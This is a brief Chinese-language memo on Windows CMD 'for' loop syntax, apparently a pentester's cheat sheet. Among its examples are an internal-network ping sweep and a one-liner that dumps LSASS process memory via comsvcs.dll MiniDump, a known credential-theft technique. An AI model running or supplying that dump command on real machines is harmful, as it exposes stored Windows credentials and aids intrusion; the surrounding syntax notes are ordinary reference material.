Dos命令小记
For命令的使用
for /l
通常用来遍历
FOR /L %variable IN (start,step,end) DO command [command-parameters]
for /f
通常用来筛选
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
内网Ping扫描
for /l %i in (1,1,254) do @ping 192.168.1.%i -w 10 -n 1 | find "Reply"
筛选进程名获得PID
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump %i .\lsass.dmp full
tokens=2意思是筛选出第二列,/NH不列出列表名
批处理里中常用
@echo off 关闭回显